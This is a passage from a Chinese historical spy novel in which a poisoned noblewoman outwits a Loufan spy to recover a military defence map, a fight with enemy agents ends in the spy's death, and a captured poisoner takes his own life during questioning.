齐护法与武三小姐的交易是两颗解药换一张布防图。武三小姐为了防止被骗,于是提出分两次交易,一次交易给一颗解药一半布防图。如果解药有效,才会进行第二次交易。
“放心。”齐护法示意她跟上。
两人来到破庙的前门,等了一会,一前一后两个男子逼近。
美娘捏紧手中的长针,嘴巴也抿起来。
齐护法笑着说:“来了。”
果然,为首的那个瘦高男子,就是女子假扮的。
一手交图,一手换药。
武三小姐仔细查看过那解药,没发现什么异常,便收下了。
反而是齐护法捏着那半张图与之前的图比对,中间的骑缝章是对上了,纸质也一样,上边还有副官的印章。
武三小姐等得不耐烦,她讥讽道:“放心,不会骗你。”
齐护法哪里是受得了气的人,她笑道:“你为了一个男子,不惜出卖国家。怎么想都不可思议,我们自然要仔细检查。”
武娅禾气得上下牙齿紧咬牙齿。
她身旁的男人看了她一眼,示意她不要轻举妄动。
武娅禾便没有反驳,等一会,她会弄死这两人。
双方都满意,便各回各家,朝着相反的方向离开。
走了没多久,武娅禾便朝着四下里打了个手势,四个彪形大汉立出来。
“杀了这两个人,拿回她们身上的东西。”武娅禾压低怒火。
她站在原地,那四个人即刻追过去。
等了许久,竟然没有任何动静,那四个人也没有回来。
武娅禾想要过去破庙一探究竟,被身边的护卫拦住,他打头,在前面:“或许有异。”
果不其然,他们没走多远,便看到齐腰深的草丛里,躺着四个人形……是他们的人。
这四个人都是额头一根粗钉子插入。
“伤口血迹不多,对方是远处射过来的埋伏。看样子是同时攻击,埋伏的人不少。”护卫小声道,“小姐,我们还是赶紧撤退为好。”
武娅禾暴怒,焦头烂额,却没有办法:“怎么办,布防图不能流出去!”
·
美娘跟着齐护法一道快速离开,齐护法将拼好的布防图塞给她:“交给你了,必须成功。”
美娘点头,她不会失败的。
“可不可以……”美娘迟疑着问,“放过致娘?”
齐护法气笑了:“为何要放过她?”
“她是无辜的。”美娘看着怀里的布防图。
“不可能留活口。既然陆昀峥宠她,那她死了对陆昀峥的冲击力更大,我们的胜算更多。”
45. 第 45 章
这一日,天还没亮,阿致已经对镜梳妆好了,她中毒这大半个月,如同油尽灯枯一般,精气神去了大半,脸上一点油气也没有,皮肤特别干,生出许多皱纹,老了七八岁都不止。
她伸手抚上脸颊,看着镜子里的自己,眼神坚定。留给她的生机并不多,此行她必须成功。
这时候,后门有人轻轻敲门,高瑾去开门,将陆昀峥领进来。
陆昀峥身后跟着邬春荣,邬春荣手中提着一个篮子,从里头拿出一碗黑色汤药来。
虽然药碗放在厚袄片里头捂着,这冷的天气,已经温了。阿致拿起来一口喝完。
邬春荣和高瑾去前头整理马车和行李,她们说好是去寻医,那就必须得多带点行李做样子。
房间里一时间有些沉默。
陆昀峥站在她身后,从后面抱住她的脖子:“我和希君等你好消息。”
阿致手搭在他的胳膊上,微笑:“你照顾好她,不管……我能不能回来,你都要打赢这场仗。”
“嗯。”陆昀峥下巴抵在她温热的头顶,喉咙里哼出这一个音。
突然,前厅似乎有争吵声,阿致听到了美娘的声音,美娘和丈夫江善守在抢女儿楚楚。
她和陆昀峥对视一眼,让他从后门离开。
去到前厅,阿致正看到江善守跪在地上,痛哭流涕求美娘不要走。美娘将女儿楚楚紧紧护在怀里,沉默着抹眼泪,地上是母女两人的行李包袱,并不大。
一看到阿致,江善守便怒气冲冲,瞪着她:“是你唆使我家娘子去到那外边去?”
美娘慌忙道:“与致娘无关,是我自己决定要走。”
“就是遇见了她,你才闹着要走。不怪她怪谁?”
阿致推开美娘,走到江善守面前,微笑着道:“好哦,你面上要好丈夫的名头,背地里又要与人快活,纵着私通的女子上门来说些不三不四的话羞辱美娘,也没勇气与她换个地方生活,倒是有胆子怪罪到别人身上。你倒是说说看,美娘继续在保宁生活,她的身体好不了,你打算怎么让她过好日子?”
江善守的嘴抿成一条直线,许久对着阿致一挥袖子,怒道:“你牙尖嘴利,我说不过你,不过这是我们夫妻的事,与你无关。”
阿致笑了:“美娘要不要走,我都无所谓,因为这却是与我无关,这是你们夫妻俩的事。不过你要搞清楚,刚才是你污蔑我,是你将美娘要走怪在我头上,我才反驳的。”
江善守嘴唇嗫嚅许久,一个字说不出来,他确实说不过她。索性,他起身去拉美娘的胳膊,小心翼翼看着她的脸色:“你那诊断,说不定是错的,何必因为外人坏了我们夫妻的情分?”
美娘沉默着。
阿致与高瑾坐到马车里,高瑾看了阿致一眼,下巴指着外头的美娘。万一美娘不上来怎么办?要不要催催。
阿致明白她的意思,伸手示意她先不要妄动。
江善守眉毛梢带了喜悦,他伸出一只手放在楚楚肩膀上:“孩子还小,你忍心让她没了爹?”
美娘依旧沉默。
阿致捂着嘴咳嗽一串,语重心长道:“美娘,看来你还未下定决心,不如再等等,我的事紧急,耽搁不得——”
江善守嘴角带笑道:“是啊美娘,你不用急于一时,咱们夫妻在保宁这么多年都过来了——”
美娘突然甩开他的手,并将他放在女儿楚楚身上的手扒开,冷着脸道:“我受够做别人累赘的日子了。”
她现在只想要自由,只想要做个正常人,养活自己和女儿。
不再做被人轻视的累赘。
说着,美娘捡起地上的包袱,推着女儿楚楚上车去。
包袱被江善守拉住:“美娘,我也不想嫌弃你的,只是这些年太累了,我以为你明白的。”
美娘点头:“我明白,我理解你的处境。每一次你对我发脾气的时候,我都在努力说服自己,都是自己的错,才会让你这么累,才会变成这样。但是江郎……当你指责我没用的时候,有没有想过,其实我也可以回击,指责你没本事养活我?”
男人指责女人不够美、贤惠,女人指责男人没本事,几乎是许多家庭男女吵架的基本故事,似乎如此才能势均力敌。
江善守被她这句话击中,浑身力气卸下,拉着包袱的手也散了,随后他浑身如同烈火烹油,脖颈青筋跳起来:“都是你拖累我,怎么现在都成了我的错?你现在就是想指责我错了么?我为你做了那么多,现在都可笑么?”
美娘静静看他发疯,许久才说:“我想说的是,当你指责我的时候,我也本可以指责回去,但我没有——”
“你的意思是你比我善良,只有你一个人承受煎熬?”江善守怒吼,他满脸的不屑与嗤笑。
美娘眼中满是悲伤:“并不是因为我善良,我一点……也不善良。只是因为你曾是这世上我遇到过的最好的人……对我最好的人,我舍不得我们的婚姻变成令人生厌的鸡毛蒜皮,我也舍不得彼此相互憎恶、指责。就像现在这样……”
美娘扬起头,对上江善守的眼睛。
江善守震惊得许久没有说话,从相识相爱到这些年的相互扶持,从建立小家到生儿育女,还有在风雨飘摇中的点点滴滴,他们在漏雨的屋檐下,非常非常用力地维持住这个完美的梦。只是不知道什么时候开始,这个梦破了一个洞、两个洞……破成了难看的蜘蛛网。再也不会有个女人每日在家等着他一道吃苦菜,日日盼着他回家,让他好生休息。
江善守的眼里涌出泪水来:“美娘,我错了,真的,我错了,我不该对不起你,你等我,我把祖宅卖了,便换个地方生活,把你的病治好,我们一家三口好好过日子。”
“不用了,江郎。”美娘的语气极其温柔,她伸手抹掉江善守脸上的眼泪,“我始终感激你曾对我那么好,遇到你,我才知道这世上有人愿意对我好,我也才有了楚楚。但是,江郎走到这一步,我们已经没有回头路了。你不必再为了我违背族老,也不必再为了我背负沉重的负担……江郎,你自由了,以后轻松地去爱别人吧。”
·
马车一路疾驰,抵达城门口,天才刚露一丝鱼肚白。
城门口只有把守的一排士兵,高瑾拿着一个符牌出去,很快又上来马车,那城门便打开了。
这时候突然冒出个男人来,他冲到城门口,要出去。
守城的将士将他拦住:“还在戒严中,不能出去。”
“为什么他们能出去?”那男人指着阿致的马车,要将邬春荣揪下车来。
守城的将士对个眼神将他拦住,两个人拦不住,又来两个人才勉强拉住。
邬春荣赶紧驾车出去,徒留那男子在原地撒泼:“既然戒严为何将人放出去?小心我去陆将军那里告你们!”
听到“陆将军”三个字,阿致心中一动,撩开车帘子,回头仔细看了看那男子的脸面,好好记着。
马车走出去不多会,美娘撩开帘子,回头看那渐渐缩小的城门,还有四周的荒林草木,一派新鲜,虽然今日的天气并不好。
楚楚这个小大人也难得地露出了笑容,她对着美娘打手势。
美娘眉开眼笑,脸颊上显出深深的酒窝。她捏住女儿楚楚的手:“好好好,往后我们会开始新的生活。”
她笑得眼泪都快出来了,对美娘和高瑾道:“让你们见笑了。”
阿致勉力挤出一丝笑容来:“这是值得高兴的事。”
说着,阿致给高瑾示意个眼神,高瑾便去到外头,和邬春荣坐到一起赶车。
马车一歪,走上了一条杂草丛生的小道,这马车走得艰难。
美娘看了看,疑惑道:“这是不是走错了?”
阿致
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道:“应是没错的。”
美娘抿着嘴唇,捏着楚楚瘦瘦的手,对阿致低声道:“我想下去解个手。”
“急么?”
“就是有些急。”美娘低头,状似有些不好意思。
阿致尴尬地笑:“我也急,不过我看这杂草太矮了,不方便。美娘你再等一刻钟,咱们到了驿站便可解决了。”
美娘似乎还想说什么,阿致没有给她插话的机会,吩咐前头的邬春荣,让他快些。
邬春荣得了令,将马打得飞起,泥巴路不平整,阿致被颠得直犯恶心,但也只能闭眼忍着。
“小心——车——车要翻了!”邬春荣突然叫起来,高瑾的尖叫声传进来。
马车里的阿致一阵天旋地转,只感觉头撞在马车车顶,又与美娘砸在一起,好在楚楚一个小孩被她娘抱在怀里,垫着她娘少受许多磕碰。
阿致反应过来时,脑子还有点昏,她有些不记得发生了什么,甩了甩头,她闻到一股死水的臭味,手指感觉到一阵冰凉,那冰凉感还在蔓延,蔓延到胳膊、背部。
她勉力坐起来,看着旁边同样迷惑的美娘和楚楚:“进水了,车翻到了河里。”
三人立刻从马车里出来,借着高瑾和邬春荣的手。
人是出来了,但是马车还陷在河里。四下是荒野,如果没有马车,他们怎么都没法继续走。
美娘四处张望,阿致问她:“你也想解手了吧。”
美娘手搭在楚楚身上,迟疑后点点头。
阿致叫来高瑾,让她帮忙望风,几个女子一道去草丛深处解决。
美娘和楚楚先完事,她的手护在腰间,对望风的高瑾道:“你去吧,我给你们望风。”
高瑾仍旧是面无表情:“不用。”
此前致娘再三叮嘱过,不能让美娘与楚楚独自呆着,防止他们逃跑,因为布防图很可能在他们身上。
从美娘方才找解手的借口来看,布防图就在美娘身上。
从草丛里出来,几个人同心协力借着两匹马,将马车从河道里拖出来。
不算难,就是衣裙的弄脏了,也湿了。
阿致提议与美娘一道去马车里换身干净衣裳,行李倒是没有湿透。
美娘一开始说不需要,她将手从上腰轻轻拂过。
阿致道:“到驿站还有些时辰,这路上若是着凉了便不好了。”
美娘看着女儿,这才点点头。实在不行,那就等到驿站再作打算。
换衣裳时,阿致与美娘背对着,但是她眼角余光注意着对方的影子。美娘的动作很轻,但是阿致还是注意到她将什么东西放在了马车座椅下的隔板里。
·
马车停在路边歇息的间隙,邬春荣和美娘一道生火,烧水,热馍。
阿致则找个借口与高瑾去到马车背后。
高瑾从袖子里掏出一张折叠的图纸来,两人对上眼,均是吃惊,还真是布防图。
方才阿致给高瑾和邬春荣打了个手势,邬春荣特意制造了一个大的颠簸,高瑾趁着扶自家夫人的机会,迅速地摸到隔板下,得到了这布防图。
这美娘看着貌不惊人,竟然真是楼烦细作……
阿致看着不远处火堆旁的美娘,美娘轻轻抚摸女儿楚楚的头。许久,阿致打了个手势:按照原计划执行。
高瑾点头,她进去马车。
美娘急急跟进去。背着高瑾时,美娘将隔板下的图纸掏出来,放回到腰间藏好,然后又将自己的包袱放在阿致的座位上。
阿致招呼美娘出来吃东西,美娘开心地出来。几个人围着火吃着东西,邬春荣在一旁逗乐子,大家都高兴极了,尤其是楚楚。
过了一会,美娘又要去解手,带着楚楚。
阿致没说什么。
过了一会,高瑾去找了后,道:“夫人,她们逃跑了。”
46. 第 46 章
美娘会逃跑,是预料之中的事。她拿了“布防图”,必然是找个机会交给接头的人。
方才没有拦着美娘,也是阿致故意放水。在阿致由始至终的算计中,她想要的只是布防图而已,她不想要美娘和楚楚丧命。
高瑾呈上手中的信封:“美娘在石头上留下了这封信,和一个盒子。”
这是个掌心大小的木盒,里头不知道放着什么东西,外头用精致的小锁锁着。
阿致让高瑾打开木盒,她则抽开那封信读起来。
略略读了几行,她低头仔细查看那封信,眉头皱起来。
高瑾将木盒放在地上,拿出马车中的木棍直接捶开,露出里头白色帕子紧紧包裹着的一团。甚是诡异,不知道是什么。
高瑾小心翼翼解开那一团白帕子,还是白帕子紧裹的一团,她再解开,还是白帕子……如此这般,剥开足足五层白帕子,她才看到其中一颗棕褐色的圆形药丸,满脸震惊。
阿致收起信,即刻让邬春荣将水囊拿来,并从高瑾手中拿走那一颗解药,让高瑾立刻准备好,马上会有大量细作来杀人灭口。
邬春荣一听,扔了手里的馍,踉踉跄跄把水囊递给阿致,转头去收拾地上的东西,随即想到保命要紧,这些东西都不必收拾了,上到马车整理马匹和缰绳,手直抖。
高瑾则拦住阿致:“夫人,小心有诈,或许这并不是解药,而是计谋。我们等到回城之后找于大夫确认。”
阿致毫不犹豫将药丸碾碎成几瓣,和水吞下去:“不会有诈。现在打起精神来,立刻带着布防图回去。侯爷派来的暗卫到现在还没出现,估计是被埋伏了。”
好不容易到手的布防图,精心谋划许久的布防图,可不能就这么又被人夺回去。
别人靠不住,那么她必须把自己手上的牌利用到极致。
·
美娘带着楚楚在野地里一路狂奔,上坡之后又下坡,终于找到了一棵巨大的榕树,榕树错综复杂地盘在一起,其中一根垂下的根须上飘着白丝带。
果不其然,她们到达树下,便有十多个黑袍人现身,他们身材高大,黑巾蒙面,只露出前额和眼睛。
美娘从腰间掏出那张揣了许久的布防图,递给对方,这才有空擦擦满头的热汗。
为首的那个黑袍人仔细看过那布防图后,朝左边身后的手下使个眼色,瞬间好几个人出手,动作极其迅速,将美娘身边的幼女楚楚挟持了,用匕首抵着楚楚的脖颈。
美娘抬手擦汗的手一顿,立刻慌了:“褚护法,这是怎么回事?你们不是说只要我把布防图带出来即可么?你们言而无信。”
褚护法捏着那张布防图,在空中一抖:“这是假的!”
“不可能!这是齐护法亲手交给我的,我没有假手他人。”美娘气不匀,她有些头晕,恍恍惚惚却忽然意识到,所谓的寻医、落水、换衣裳都是一张精心设计的网,就是为了网住她手中似的布防图。美娘想到马车上那奇怪的颠簸,那个丫鬟伸过来的手,心中一咯噔,她回想起致娘那温和的笑容,茫然地喃喃道,“不可能……不可能的……”
褚护法挥剑,指着楚楚的脖颈:“立刻马上,将真的布防图拿回来!”
·
阿致刚吞了解药,准备上车时,突然远处一阵暗器袭来,如同一阵密不透风的网。
邬春荣吓得从马车上摔下去,晕倒了。
高瑾转身保护阿致,被暗器打中了腹部,立时流出血来。阿致后退两步,刚抽出刀来,脖子一片冰凉,背后也有锋利的长刀抵着。
而高瑾和邬春荣立刻被其他黑袍人控制住,局势陷入完全被动,他们三人如同被困在蜘蛛网上的蝴蝶,挣扎也没有用。
阿致将手中的刀扔了:“你们是谁?”
一个黑袍人站在她身后:“把布防图交出来。”
阿致冷笑着,指着火堆:“已经烧了。”
黑袍人伸手,要搜她的身,阿致怒视着他,推开他的手。
那黑袍人手中的刀用力,在阿致的脖颈划出一道血痕。
“致娘,”美娘跑过来,满脸狼狈,她道,“你交出布防图来,他们便不会伤害你。”
“你方才的信里不是这样写的。你说楼烦细作会来杀我灭口,让我赶紧离开。”
那黑袍人怒视着美娘:“原来你已被策反!一开始便想着浑水摸鱼吧。”
“不,褚护法,不是这样的,我也是被这个女人骗了!”美娘走近来,从袖子里抽出一根长针,银白色的长针在正午的阳光下闪闪发亮,她拿长针指着阿致的眼睛,怒道,“是我蠢,才会信你是个好人,才会担心你的安危。你快把布防图交出来,不然我就杀了你。”
“我说真的,布防图已经烧了。”阿致此刻被三个兵器抵着,完全没有逃生和反杀的可能。布防图关乎这一仗,交出去了会死很多人,而且会使这场仗失去意义,她绝对不能屈服。
美娘气得面目狰狞:“快说!布防图在哪里!不然我杀了这个。”
美娘抬腿踢了踢身边的邬春荣,踩在他身上。
阿致紧咬牙关:“他只是个马夫,完全不知情。有什么问题,你冲我来。”
“你不说?”美娘伸手扒开额头汗哒哒的碎发,长针指向一旁受伤跪在地上的高瑾,“那我就杀了她。”
阿致嘴唇嗫嚅,轻轻摇头,浑身发抖:“美娘,有什么事,你冲我来。这些都是我所做的。”
高瑾嘴唇发白,忍着腹部伤口剧痛:“夫人,属下也无所谓。”
身为暗卫,要做的一个觉悟就是放弃自己,包括生死,为主子卖命,也即死侍。陆侯爷是个很好的主子,从来不曾薄待他们这群孤儿出身的死士、暗卫。
阿致艰难地道:“对不起。”
美娘咬着牙关,突然动手,将那长针扎进高瑾的肩头。
高瑾痛得撕心裂肺,咬牙没哼一声,昏死过去。
美娘用力拔出长针,溅出一条红色血迹,血迹飞到阿致脸上,并不暖而是有些凉意。
阿致眼睁睁看着她倒下,冰冷的眼泪划过脸颊,她浑身冰凉、发抖。
美娘的长针指着地上瘫软的邬春荣:“下一个是他。”
阿致握拳,终于冷静了些,她放缓语气,商量道:“如果你们真要布防图,不如拿我与陆昀峥做交易,他为了保我的性命,自然愿意给你们一份。”
褚护法冷哼一声:“以为我们好
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糊弄?我再数三声,你不拿出来,我便杀了你。一、二——”
贺忠便是通过下毒,来威胁陆昀峥,但失败了。
阿致抿着嘴唇,望着远处的来时路,根本没有半分人影。看来是等不到陆昀峥安排的暗卫了,也无法脱身了,但是与其被别人宰掉,她更愿意动手挣扎,去搏一搏。她缓缓移动脚步重心,准备抬手发动。
这时候美娘突然跪在地上,眼泪涟涟地给致娘磕头:“致娘,就当我求你,看在我给你解药的份上,行行好,救救我的女儿楚楚吧。如果他们拿不到布防图,今日楚楚便要死掉。”
这时候,一个黑袍人拿匕首挟持着年幼的楚楚站出来。
楚楚年纪小,但相当怎么冷静。她浑身紧绷,微微的颤抖,但是双眼非常坚定锐利,看着她娘手中的长针,一直在摇头。
阿致抬起的手又慢慢卸力,她有些理解美娘的歇斯底里。可是……理解不代表接受,阿致重新蓄积力量,趁着背后那把刀分神的间隙,直接一个转身躲过背后和脖子上的两把刀。
随即,对方反应过来,好多长刀朝着她刺过来,在太阳下十分晃眼。
如果没中毒,阿致还能与他们多斗几个回合,可是现在她中毒还未恢复气力,抵抗非常的费力,每次都是与刀锋险险错开。
跪在地上的美娘即时出手,她伸手撒出一颗长钉,击中挟持楚楚的那个黑袍人,一个旋身又撒出一把长钉,击中致娘周围的几个黑袍人。
一下子只剩下三个黑袍人。齐护法发现了美娘这个叛徒,气得快要吐血,立刻加快了手中的刀速,他要杀了美娘。
阿致被两个人夹攻,她勉力避开,越来越吃力,从头上拔下发簪,近身插中一个黑袍人的眼睛,顺势躲开另一个人的刀。她气喘吁吁,快要支撑不住。
而美娘应付褚护法也到了极限,她几步跃过来,手中撒出最后一个暗器,杀了阿致身旁的一个黑袍人。
阿致捡起地上的刀,将那瞎眼睛的黑袍人一刀砍了,与美娘并肩站着,面对褚护法。
褚护法冷笑:“找死。”
他先全力攻击阿致,阿致疲于应付,而且三个人搅作一团,根本就施展不开。
必须尽快结束,阿致和美娘都无力再应付,她们对视一眼,两人分散开来。
阿致装作实在动不了的样子,弯腰杵在原地喘气。
褚护法看着得意,这可是个击杀的好机会,出刀向前。
美娘则不知不觉绕道褚护法后面,形成前后夹击之势,从后面一刀捅死了褚护法。
褚护法的刀尖直指阿致的胸口,就差那么一点点……最终,他轰然倒地。
阿致脸上满是欣喜,她伸手去牵美娘的手。
楚楚从远处奔过来。
美娘捂着左腹部,低头看,那里有血涌出来,就像是一个泉眼般,吐出来的鲜血染湿了她白色的长裙。
美娘歪歪斜斜要倒塌,阿致飞奔过去接住她,大喘气,坚定地对她道:“美娘,你再忍一忍,回到保宁城,城门口就好,会有人救你。你还记得于大夫吧,他妙手回春,一定能救你!”
楚楚紧紧抱住美娘的胳膊,滚烫的眼泪满脸都是。她要失去娘了。
47. 第 47 章
美娘脸色苍白,她失血太快了。
阿致用力按住她的伤口,手指间溢出了殷红、粘稠的血液,扶着她去马车里。
可怜的楚楚,终于承受不住,双眼紧盯着美娘的脸,跟着上到马车,蹲在一旁,哭得一抽一抽。
阿致大喘着气,她不能停下来,立刻去外头将高瑾扶起来。高瑾肩膀上的出血不多,此刻终于醒转,虽然仍旧疼痛,但能够使力自己站起来。
美娘当时并没有下死手,只是做了一个障眼法,原本她可以选择更简单的做法。
高瑾用力眨眼,看到夫人还活着,地上一片狼藉,横七竖八躺着黑袍人,她终于松了一口气。
阿致又去一旁拿了水囊来,淋在邬春荣脸上,他还是没醒,阿致掐他的人中,他才慢悠悠醒转过来。
邬春荣吓得浑身一抽,看到阿致的脸,哭起来。
阿致吩咐他立刻调转车头,回去保宁城,耽搁不得。
一定要把美娘送到于大夫手上。
阿致咬紧牙关,掀掉马车上所有的行李箱,快速挪到马车上,气还没喘匀,捏着美娘瘦弱的手掌:“美娘,你坚持一下,到城门口就好了。为了楚楚,你要坚持!”
美娘脸色苍白,整个人有气无力,她咬着下嘴唇,轻轻点头。
邬春荣调转车头,迅速往会跑,鞭子抽得直冒火。只是过来这里花了至少半个时辰,回去……怎么也快不了吧。
更何况,马车里的人实在太多了,马儿带不动。
高瑾主动要求自己下车走回去,这样能更快些。
邬春荣很惭愧,作为一个男人,他什么用都没有,于是他提出自己下车走,让高瑾赶车回去。
争执不休的时候,他们刚好回到主路,碰到了一辆马车,马车上是陆昀峥派来的三个暗卫。
确认夫人没事后,罗三为首,纷纷下跪:“属下来迟了。”
阿致撩开帘子,让他们起来:“救人要紧,你们捎带高瑾回去。”
同时她惊呆了:“王阳……”
“雪致……”王阳的脸上露出欣喜。
原来,接到陆昀峥的信后,王阳便一路往保宁城赶路,陪同他的,还有一个暗卫。这两人方才在路上遇到了被伏击的暗卫,便一起来寻阿致。
这也真是赶了巧。
阿致看着他断了大半截的左腿,惊呆了,有许多话要说要问,可是当下实在没时间,打个招呼,便继续前往保宁城门口。
这一路上,马车飞驰,车轮在宽阔的管道上砰砰砰连着跳,马车里的几个人也是被颠得上下乱蹦。美娘的伤口被颠簸得巨疼,脸上的肉抽搐着。
阿致便收拾方才的湿棉袄,全都垫在美娘的身下。
美娘终于疼得好了些。她的目光一直看着女儿楚楚,这么可怜的孩子,从小便哑了,年幼时要失去母亲。她伸手,想要想要摸摸女儿的连,使出全身的力气,却依旧艰难。
楚楚满脸是冰凉的泪水,她将脸凑过去,放在美娘的手心里,贴着她冰凉的手,哭得泪眼朦胧。
美娘眼角划过热泪,她嘴角翘起一丝笑,慢慢闭上眼。
阿致心中警醒,立刻拍拍她的脸:“美娘,不能睡,你再坚持一下。马上就要到城门口了,治好了伤,往后你和楚楚就自由了。”
美娘努力睁大双眼,她的脸侧,是跳动的车帘,还有帘子外飞逝的苍茫的枯树林,就如同她短暂逝去的人生。
她苦笑着,慢慢道:“真的能自由吗?”
说完,她整个人醍醐灌顶,脸色稍微缓和了些,甚至勉力坐起来,如同回光返照:“致娘,我厚着脸皮求你一件事。”
阿致按着她躺下来:“你说。”
美娘用力拉着阿致的袖角,眼泪横流:“看在我给你解药的份上,你帮我养楚楚,就像对待亲生女儿那样……就像你对希君那样。”
在致娘被挟持的时候,美娘选择将暗器对准自己人,也是因为她突然想通了,帮助致娘脱险,她的女儿才能有光明的未来,不用跟着她东躲西藏,不用一辈子身处险境。
阿致沉默了一会道:“任何人都比不上亲生父母,你是她的亲娘,应该由你来陪着她过余生。”
美娘连连摇头:“不,我只是一个楼烦细作,这么重的伤,我活不了的。就算我活下去了,希君便是细作的女儿,往后她怎么活得了?”
如果她活下去,女儿便活不了了。
一旁楚楚拼命摇头,对着美娘打手势,急的满头是汗。她想要留娘亲在身边,一起生活。
美娘伸手摸她的头,喉头哽咽:“娘要死了,必须要为你谋划,否则,我死了也不甘心、放不下。”
说完,她剧烈咳嗽起来,吐出一大口血。楚楚死死按着美娘的伤口,浑身发抖。
阿致赶忙道:“别说了,快到城门口,你再坚持一会。”
美娘摇头,她对阿致道:“致娘,你可怜可怜我,也当还我那颗药的恩情。”
她抓着阿致的衣角不放。
·
戒律房中,日头高悬的正午,依旧黑漆漆的,阴冷似乎从地上源源不断地爬上来。
墙上燃着两根蜡烛,依旧照不亮,房中两面挂满了形状诡异的刑具。
贺忠浑身缭乱,囚服上血迹斑斑,看着眼前的那一张契约,他鼻子里哼出一声冷笑:“你愿意另娶别人,也不愿意交出布防图,果然在你心中,名利比任何人都重要。我一开始就应该动手杀了你。”
陆昀峥收回那一张契约,他道:“无论如何,你都不可能杀了我,也不可能获得布防图,你的计划失败了。现在,能告诉我你这样做的原因吗?”
“呸!”贺忠口吐唾沫,满脸不屑,眼皮微垂,“你别想从我这里得到一丝一毫的信息。你那心爱的小娘子还没解毒呢。”
陆昀峥坐在远处的一张凳子上,他望着贺忠,还有地上那一口唾沫:“你的剑法是云州一派。如果我所猜不错,你应当是为了五年之前的云州大案来找我寻仇。”
今日早上,罗三才查到了早些时候贺忠的资料,综合衡量他的口音以及功夫路子之后,猜到贺忠应是云州人士,至少是在云州长大。
贺忠的眼睛圆睁:“是又怎样?当初你做了那般阴险的事,杀了那么多人,就该日夜都睡不着,因为定然会有人找你寻仇!”
“你以为云州大案是我做的?”
“不是你做的,你为何要出面遮掩?”贺忠的牛鼻子又哼一声。
“确实不是我做的,云州大案发生的时候,我还在长安。那时候我的兵权被收走。反而因为此事闹大,我才重回云州,第一件事就是处理了这宗大案。”
一时间,戒律房里十分安静。
贺忠满脸愕然,他咽了一口口水,摇头又摇头,喃喃道:“你骗我。”
“你找错了仇人。”陆昀峥非常冷静,“请把解药交出来。”
贺忠看着他哈哈大笑:“原来你就是想要找我要解药啊。”
他笑了好一会,这才道:“你不用骗我,不管是不是你杀了我的家人,还有我的兄弟,还有我兄弟的家人,你们这些当权的,都做过阴险的事,没有一个干净的,都应该去死!”
“所以,无论如何,你都不打算拿出解药,即使要毒杀无辜的人?”
“黄泉路上,能拉一个垫背的,总比一个人要好。只可惜你运气太好,不然,当初我直接杀了你,便大仇得报!”
陆昀峥伸手,叫来差拨:“收监。”
差拨给贺忠取下所有刑具时,他轻蔑地看着陆昀峥笑了。
陆昀峥率先出门,随后听到一声闷哼,随后是差拨大叫的声音。
趁着浑身只有脚铐的机会,贺忠撞墙自尽了。
那沉闷的撞墙声在陆昀峥的耳边回响,他的额头也疼起来。脑子里闪过一些碎片,他想起来五年前的自己。
那时候他将阿致送走了,而他又被剥夺了兵权,便每日在家醉酒,躺在床上浑浑噩噩许多天。后来陛下又将兵权给
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了他,是因为发生了震惊朝野的云州大案,朝廷派他去处理此事。
随后五年,他几乎都是在边塞度过,直到打了胜仗,回到长安的路上,被人一棍子打晕后失忆了。他清楚记得,被打晕的那一天,他看到了贺忠……或许是因为他很快被属下发现了,于是贺忠没有能立刻杀了他。
陆昀峥仍旧记不起来当初两人在长安的点滴,是如何走到分手那一步的。但是他想起来一件很重要的事!
虽然分开五年,但是他一直都知道,阿致怀孕的事,从一开始就知道,送走她的时候就知道。所以,他派了一个暗卫去保护她、暗中照顾她。
曾经阿致即将临盆时,他收到暗卫的信,快马加鞭赶去密县。可惜没有等到女儿出世,他在密县待了不到三天,因为边塞紧急的事,不得不又回去军营。
等到他再次得空回去,是两年前了,女儿希君十分聪明可爱。他常买糖人给她吃,还拿了册子让她背书。小丫头不肯,他便拿银钱和她做交易。
难怪这小丫头前些日子提出背书换钱……小丫头一直记得他。
陆昀峥心中的欣喜漫溢出来,伸手摸了一把脸,他想要叫罗三来。这才意识到,罗三并不在身边,他去外头保护阿致了。
对,阿致。
等阿致回来,他也要让人去查查那个暗卫,消失的暗卫。
·
阿致轻轻抓住美娘冰冷的手:“我不能答应你把楚楚当成自己的亲女儿。因为我确实不是她的娘,你才是。但我可以答应你的是,作为姨母,我可以保证,她的成长我会用心,往后婚事也会安排个好人家。”
美娘颤抖着嘴唇,终于笑了:“谢谢你,致娘。你是顶好的人,今日我挟恩图报,不求你原谅,来生我给你当牛做马——哇——”
她又吐出一口血来。
阿致伸手给她胸口顺顺气,望着车窗外那个黑色的小点,鼓励道:“快到了,你再坚持,不要再说话。”
美娘浑身卸了力,她心满意足地望着晃动的车顶,眼皮乏了,用力才能睁开。
阿致伸手,轻轻抹开她眼角的那一缕黑发,发梢沾着干枯的血迹。
美娘再次睁眼,车顶上突然闪过了一个小男孩的脸,那是前几日的夜里,她利落杀掉的小乞丐。美娘深吸一口气:“致娘,你不必为我的死可惜,我作为细作,伤害了很多人,不乏无辜的生命……我不得已,但我确实做了不该做的事。现在我的遭遇,不过是报应而已。我母亲是楼烦的细作,我生来也是作为楼烦细作的工具,我以为这便是我的宿命,是致娘你告诉我人生还有其他的路……也谢谢你,让楚楚不必重蹈我的覆辙。”
阿致想要让她放心修养,美娘却十分固执,一手拉着希君,一手拉着阿致:“让我说完,致娘,不说就没有机会了。谢谢你不会因为我穷就鄙视我,也不会因为我的懦弱看轻我……还有那夜在雪地里,谢谢你给我撑伞、收留我……谢谢……谢……谢……”
你是第二个在我的人生发散光芒和温暖的人,说多少遍谢谢都不够。
前头赶车的邬春荣大喊:“快到了,城门快到了。”
飞起来的车帘露出了庄严的城门,阿致看到了城门口等候的一串人影,其中一个白衣长衫的男子,是于大夫。
阿致满心雀跃地低头看美娘,她的手指松开,浑身卸力,眼睛闭上了,嘴角还留着一丝笑。
楚楚伏在母亲身上,无声痛哭。
·
阿致回到院子里时,天还没有完全黑透,陆昀峥也还没有回来。
她坐在西边侧院里,怀里抱着睡熟的希君,坐在床边。床上躺着高瑾,她受了伤,但是于大夫看过了,给她取出腹部的暗器,只要能熬过今晚,便没有什么大碍。
阿致从腰间取出那一张布防图,看到左下角的一个模糊标记,凑近去看了看,皱起眉头来。
就在这个时候,突然一个黑色蒙面人突然从大门冲进来,一把剑直指阿致的脖颈。这是要取她的性命。
48. 第 48 章
突然出现刺客,在阿致的预料之外。她怀中是女儿,手中是千方百计得来的布防图。
阿致当机立断,将女儿一把推到床里头,自己拿着布防图滚到地上,躲开那一刀。
果然黑衣人是冲着她和布防图而来,立刻调转方向朝她挥刀。
阿致拿起桌上的烛台,堪堪躲过了一次长刀的侵袭。
